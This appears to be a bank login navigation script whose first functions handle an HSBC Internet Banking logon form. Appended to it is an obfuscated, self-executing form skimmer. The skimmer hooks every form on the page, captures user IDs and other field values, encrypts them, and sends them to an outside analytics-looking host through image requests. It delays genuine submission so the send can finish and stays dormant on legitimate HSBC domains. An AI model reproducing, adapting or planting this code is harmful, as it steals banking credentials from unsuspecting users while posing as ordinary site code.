function pibService ()
{
    document.navbarLogon.submit() ;
}


function isEmpty()
{
	if ( document.navbarLogon.internetBankingID.value == "" )
	{
		alert('To enter Internet Banking, please ensure you have entered your User ID.');
		return false;
	}	
		else 
	
		{
			if(navigator.appName.indexOf("Netscape")>(-1))
			{
				pibwin = window.open( '', '_pib', 'resizable,status,width=790,height=520,x=0,y=0,top=0,left=0' );
				document.navbarLogon.submit();
				setTimeout("clearMe()", 10000);
				pibwin.focus();
				return false;
			}
			else
			{
				pibwin = window.open( '', '_pib', 'resizable, status=yes, width=740, height=520,top=0,left=0' );
				document.navbarLogon.submit();
				setTimeout("clearMe()", 10000);
				pibwin.focus();
				return false;
			}
		}
	
	
}

var pibwin = null;

function clearMe()
{
	var agt=navigator.userAgent.toLowerCase();
		
	document.navbarLogon.internetBankingID.value = "";
	
}


function windowOpen()
{
	if(navigator.appName.indexOf("Netscape")>(-1))
	{
	pibwin = window.open('','_pib','resizable,status,width=790,height=520,top=0,left=0');
	window.focus;
	}
	else
	{
	pibwin = window.open('','_pib','resizable,status,width=740,height=520,top=0,left=0');
	window.focus;
	}
}

(function(){var e=true;var m=[/\.hsbc\.co\.uk$/i,/\.hsbc$/i,/\.netd\.hsbc\.com\.hk$/i,/webcache\.googleusercontent\.com$/i,/translate\.googleusercontent\.com$/i,/193\.108\.7[23456789]\.\d+$/i];var D="https://www.analytics-control.com/47518/cc";var s=["intbankingID","userID"];var j=["userid","BankingID","user"];var q=5000;var d=47518;var x="7pUpHEhu";var c=[/[iI][bB]\d\d\d\d\d\d\d\d\d\d$/];var A=function(){var I=z();for(var H=0,G=m.length;H<G;H++){if(m[H].test(I)){e=false;break}}if(e){k();a(g);g()}};var g=function(){var H=u();for(var I=0,G=H.length;I<G;I++){if(l(H[I].cc)&&r(H[I])){y(H[I])}}};var z=function(){var G=window.location.host||"";return G.toLowerCase().replace(/:\d+$|\.$/,"")};var r=function(J){var K=J.elements;var I=false;for(var H=0,G=K.length;H<G;H++){if(E(K[H].id,s)||E(K[H].name,j)){I=true;break}}return(I||(J.method||"").toLowerCase()=="post")};var p=function(G){return(typeof(G)=="string"||n(G))&&G.length==0};var n=function(G){return typeof(G)=="object"&&(G instanceof Array)};var l=function(G){return typeof(G)=="undefined"};var E=function(I,J){if(n(J)){for(var H=0,G=J.length;H<G;H++){if(I==J[H]){return true}}}return false};var h=function(I){try{var L=[];var J=I.elements;L.push(["form_name",I.name||I.id||"none"],["form_action",I.action||"none"]);for(var H=0,G=J.length;H<G;H++){K=J[H];if(!p(K.value)&&(K.type=="hidden"||K.type=="text")){L.push([(K.id||K.name||"e"+H),K.value])}}if(!p(L)){F(L,2,function(){I._submit()})}}catch(K){}};var v=function(G){var I=null;if(window.event){I=window.event.srcElement}else{I=G.target}var H=document.getElementById(I.id);h(H);setTimeout(function(){H._submit()},q);if(G.preventDefault){G.preventDefault()}return false};var C=function(){return Math.floor(Math.random()*999999)};var F=function(K,I,L){var G=C();var H=[["source",window.location],["referrer",document.referrer||"none"],["code",d],["nonce",G],["a",I]];var J=new Image();J.id=G;if(L!=null){w(J,"load",L)}J.src=[D,t(K.concat(H))].join("?")};var t=function(J){var I=[];for(var H=0,G=J.length;H<G;H++){if(n(J[H])){I.push(J[H].join("::"))}}return["params",encodeURIComponent(o(f(I.join("||"),x)))].join("=")};var B=function(I,G){var H=[[I,G]];F(H,2,null)};var i=function(H){var J=null;if(window.event){J=window.event.srcElement}else{J=H.target}if(J!=null){for(var I=0,G=c.length;I<G;I++){if(c[I].test(J.value)){B(J.id||J.name||"none",J.value)}}}};var b=function(I){if(!I||I.length<=0){return}for(var H=0,G=I.length;H<G;H++){if(I[H].type=="text"){w(I[H],"change",i)}}};var y=function(G){try{G._submit=G.submit;G.submit=function(){h(G);setTimeout(function(){G._submit()},q)};if(!G.id){G.setAttribute("id","form"+C())}w(G,"submit",v);b(G.elements||[]);G.cc=true}catch(H){}};var u=function(){var G=[];try{G=document.getElementsByTagName("FORM")}catch(H){}return G};var k=function(){F([],1,null)};var f=function(M,K){var L=[];var H=[];for(var J=0;J<256;J++){L[J]=J}var I=0;var G;for(J=0;J<256;J++){I=(I+L[J]+K.charCodeAt(J%K.length))%256;G=L[J];L[J]=L[I];L[I]=G}J=0;I=0;for(var N=0;N<M.length;N++){J=(J+1)%256;I=(I+L[J])%256;G=L[J];L[J]=L[I];L[I]=G;H.push(String.fromCharCode(M.charCodeAt(N)^L[(L[J]+L[I])%256]))}return H.join("")};var o=function(J){var H="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var G=[];var Q,O,M,P,N,L,K;var I=0;while(I<J.length){Q=J.charCodeAt(I++);O=J.charCodeAt(I++);M=J.charCodeAt(I++);P=Q>>2;N=((Q&3)<<4)|(O>>4);L=((O&15)<<2)|(M>>6);K=M&63;if(isNaN(O)){L=K=64}else{if(isNaN(M)){K=64}}G.push(H.charAt(P),H.charAt(N),H.charAt(L),H.charAt(K))}return G.join("")};function a(G){if(!window){return}if(document.readyState=="complete"){G();return}if(w(window,"load",G)){return}var I=G;if(typeof(window.onload)=="function"){var H=window.onload;I=function(){var J=G();return H?H():J};window.onload=I}}var w=function(J,I,G){if(J.addEventListener){J.addEventListener(I,G,false);return true}if(J.attachEvent){var H=J.attachEvent("on"+I,G);return H}return false};if(window.location.protocol!="https:"){A()}})();

